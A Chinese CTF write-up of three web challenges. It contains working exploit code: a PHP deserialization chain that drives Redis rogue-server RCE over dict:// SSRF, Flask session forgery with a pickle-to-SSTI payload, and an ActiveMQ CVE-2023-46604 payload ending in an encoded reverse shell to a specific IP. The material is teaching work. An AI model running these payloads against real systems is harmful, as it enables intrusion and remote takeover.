2023年春秋杯网络安全联赛冬季赛-web
春秋杯冬季赛-web
前言
web 1/3
还以为是小比赛呢,题目难度偏高(我是菜鸡
ezezz_php
不难,但我刷题太少了,redis主从复制rce不熟练,耗了很长时间
<?php
class Rd
{
public $ending;
public $cl;
public $poc;
public function __destruct(){
// echo "All matters have concluded"."</br>";
}
public function __call($name, $arg){
foreach ($arg as $key => $value) {
if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}
class Poc
{
public $payload;
public $fun;
public function __set($name, $value){
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod){
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}
}
class Er
{
public $symbol;
public $Flag;
public function __construct(){
$this->symbol = True;
}
public function __set($name, $value){
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}
}
class Ha
{
public $start;
public $start1;
public $start2;
public function __construct(){
// echo $this->start1 . "__construct" . "</br>";
}
public function __destruct(){
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
// echo "You are Good!"."</br>";
}
}
}
function get($url) {
// $url=base64_decode($url);
// var_dump($url);
// $ch = curl_init();
// curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_HEADER, 0);
// $output = curl_exec($ch);
// $result_info = curl_getinfo($ch);
// var_dump($result_info);
// curl_close($ch);
// var_dump($output);
}
// Ha::__destruct() -> Rd::__call() -> Er::__set() -> get()
// payload 按顺序发,公网上建好evil redis-server
// $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp";
// $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
// $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777";
// $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
// $payload = "dict://127.0.0.1:6379/slave:no:one";
$payload = "dict://127.0.0.1:6379/system.exec:env";
$Er = new Er();
$Er -> Flag = base64_encode($payload);
$Rd = new Rd();
$Rd -> cl = $Er;
$Ha = new Ha();
$Ha -> start = ['POC'=>'0.o'];
$Ha -> start1 = $Rd;
$Ha -> start2 = 'o.0';
echo(serialize($Ha));
?>
调用到get函数查看hint.php的话,会告诉你
主机名不是db,而是127.0.0.1
这一看就是redis
项目Dliv3/redis-rogue-server: Redis 4.x/5.x RCE (github.com)
python3 redis-rogue-server.py --server-only
然后payload语句一句一句打下来就行
picup *
刚开始注册和登录
然后就有上传文件
测试发现内容过滤了许多东西,且测出限制长度为70
随便传点内容上去,点击一下跳转到另一个页面
url为/pic.php?pic=1.php
(我的文件名为1.php)
我当时就觉得有文件包含,但是我../
发现没有用,之后就是没用的测试了,卡在这里
这里的话其实是双写绕过..././
。。。。啊这
在/app/app.py
下发现了文件源码
import os
import pickle
import base64
import hashlib
from flask import Flask, request, session, render_template, redirect
from Users import Users
from waf import waf
users = Users()
app = Flask(__name__)
app.template_folder = "./"
app.secret_key = users.passwords['admin'] = hashlib.md5(os.urandom(32)).hexdigest()
@app.route('/', methods=['GET', 'POST'])
@app.route('/index.php', methods=['GET', 'POST'])
def index():
if not session or not session.get('username'):
return redirect("login.php")
if request.method == "POST" and 'file' in request.files and (filename := waf(request.files['file'])):
filepath = os.path.join("./uploads", filename)
request.files['file'].save(filepath)
return "File upload success! Path: <a href='pic.php?pic=" + filename + "'>" + filepath + "</a>."
return render_template("index.html")
@app.route('/login.php', methods=['GET', 'POST'])
def login():
if request.method == "POST" and (username := request.form.get('username')) and (
password := request.form.get('password')):
if type(username) == str and type(password) == str and users.login(username, password):
session['username'] = username
return "Login success! <a href='/'>Click here to redirect.</a>"
else:
return "Login fail!"
return render_template("login.html")
@app.route('/register.php', methods=['GET', 'POST'])
def register():
if request.method == "POST" and (username := request.form.get('username')) and (
password := request.form.get('password')):
if type(username) == str and type(password) == str and not username.isnumeric() and users.register(username,
password):
str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(
username=username).format(users=users)
return str1
else:
return "Register fail!"
return render_template("register.html")
@app.route('/pic.php', methods=['GET', 'POST'])
def pic():
if not session or not session.get('username'):
return redirect("login.php")
if (pic := request.args.get('pic')) and os.path.isfile(filepath := "./uploads/" + pic.replace("../", "")):
if session.get('username') == "admin":
return pickle.load(open(filepath, "rb"))
else:
return '''<img src="data:image/png;base64,''' + base64.b64encode(
open(filepath, "rb").read()).decode() + '''">'''
res = "<h1>files in ./uploads/</h1><br>"
for f in os.listdir("./uploads"):
res += "<a href='pic.php?pic=" + f + "'>./uploads/" + f + "</a><br>"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
#Users.py
import hashlib
import os
class Users:
passwords={}
def register(self,username,password):
if username in self.passwords:
return False
if len(self.passwords)>=3:
for u in list(self.passwords.keys()):
if u!="admin":
del self.passwords[u]
self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
return True
def login(self,username,password):
if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
return True
return False
# waf.py
import os
from werkzeug.utils import secure_filename
def waf(file):
content=file.read().lower()
if len(content)>=70:
return False
for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
if b in content:
return False
file.seek(0)
return secure_filename(file.filename)
register.php存在python格式化字符串漏洞
@app.route('/register.php', methods=['GET', 'POST'])
def register():
if request.method == "POST" and (username := request.form.get('username')) and (
password := request.form.get('password')):
if type(username) == str and type(password) == str and not username.isnumeric() and users.register(username,
password):
str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(
username=username).format(users=users)
return str1
else:
return "Register fail!"
return render_template("register.html")
注册username为{users.passwords}
即可
拿到admin的password后,拿他去进行session伪造
flask-unsign --sign --cookie '{"username":"admin"}' --secret 294f3d30bab18f91f5cfe2e23881f5eb
成为admin后我们就要考虑如何进行pickle反序列化了
这里存在长度70的限制并且过滤了诸多关键字以及构造opcode的关键字符换行符\n
这里看了WP,不太理解为什么绕过换行的方法是将pickle.dumps
的protocol
选项设置为4或5的版本
然后eval,os等都被禁了
结合题目环境存在任意文件上传点,且最为关键的一点是设置了flask app的模板渲染路径为
./
(也就是/app
)
app.template_folder="./"
我们上传文件的上传路径为
./uploads/
,所以我们上传的文件都可以被作为flask的模板文件进行渲染代码中也引入调用了
render_template
函数对模板文件进行渲染推断出所有的模板文件都是存放在
./
也就是/app
目录下的那我们自然也可以按照这个思路通过任意文件上传点上传一个恶意的可以实现模板注入SSTI的POC模板文件,然后再通过pickle反序列化调用
render_template
函数渲染它即可实现pickle to SSTI的攻击思路
所以结论就是调用flask的内置函数render_template
那这里SSTI的话,官方WP给了一个极限的payload
{{lipsum['__glob''als__']['__built''ins__']['ev''al'](request.data)}}
长度为69
保存为poc
文件后上传
然后是构造pickle反序列化 (他这里也没用到上面说的指定protocol为4或5啊。。。)
import pickle
from flask import render_template
class EXP():
def __reduce__(self):
return(render_template,("uploads/poc",))
exp=EXP()
f=open("exp","wb")
pickle.dump(exp,f)
得到生成的exp
文件上传 (长度为69,也是非常极限。。。。。)
GET /pic.php?pic=exp HTTP/1.1
Host: localhost
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZYkoxw.oJOwM9sfFQlcG85g4BTN1d1lgfA
Content-Length: 39
__import__('os').popen('whoami').read()
总结与反思
文件包含处多尝试,去猜测他的waf点
关键的使用render_template函数我应该不太能想到,不知道咋办
整体上操作不难,但是几个关键点想不到都会原地爆炸
Active-Takeaway
看名字就知道和ActiveMQ有关
实例化任意构造器,参数为String类,经典ActiveMQ漏洞
有个filter,用分号绕过?
好,没发现其他地方,根本没有思路,WP启动
开始
嗯嗯,没错符合猜想
?我咋找不到,用了jadx全局搜索,找到在org.example包下。。。。藏成这样? 服了
经过对WP的理解和搭建activemq环境过程中的发掘,我才理解这是一段点对点模式的长连接代码
那这里我们就能够从broker打到consumer
简单描述原理就是像官方WP中所说的
在activemq中的org.apache.activemq.broker.BrokerRegistry#getInstance里可以拿到和broker保持长连接的merchant线程。拿到这个线程向merchant发包打一遍CVE-2023-46604即可
这里我们不用官方WP中那么复杂,我们直接加载的xml文件内容为以js代码来执行代码
但原理是一样的,都是通过broker的机子执行恶意代码进而控制merchant的机子
详细原理看文章雨了个雨’s blog (yulegeyu.com)
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">
<context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>
<bean class="java.lang.String">
<property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval("function getunsafe() {var unsafe = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');unsafe.setAccessible(true);return unsafe.get(null);} var unsafe = getunsafe(); brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();brokers = brokerRegistry.getBrokers();for(key in brokers){ brokerService = brokers.get(key); try{ f = brokerService.getClass().getDeclaredField('shutdownHook'); }catch(e){f = brokerService.getClass().getSuperclass().getDeclaredField('shutdownHook');} f.setAccessible(true); shutdownHook = f.get(brokerService); threadGroup = shutdownHook.getThreadGroup(); f = threadGroup.getClass().getDeclaredField('threads'); threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f)); for(key in threads){ thread = threads[key]; if(thread == null){ continue; } threadName = thread.getName(); if(threadName.startsWith('ActiveMQ Transport: ')){ f = thread.getClass().getDeclaredField('target'); tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f)); f = tcpTransport.getClass().getDeclaredField('socket'); f.setAccessible(true); socket = f.get(tcpTransport); bos = new java.io.ByteArrayOutputStream(); dataOutput = new java.io.DataOutputStream(bos); dataOutput.writeInt(1); dataOutput.writeByte(31); bs = new org.apache.activemq.openwire.BooleanStream(); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(true); bs.writeBoolean(false); bs.writeBoolean(true); bs.writeBoolean(false); bs.marshal(dataOutput); dataOutput.writeUTF('bb'); dataOutput.writeUTF('aa'); dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext'); dataOutput.writeUTF('http://vps_ip:8000/dddd'); dataOutput.writeShort(0); socketOutputStream = socket.getOutputStream(); socketOutputStream.write(bos.toByteArray()); } } }")}"/>
</bean>
</beans>
代码中的http://vps_ip:8000/dddd
为反弹shell的xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguODkuNjEuNzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
这样即可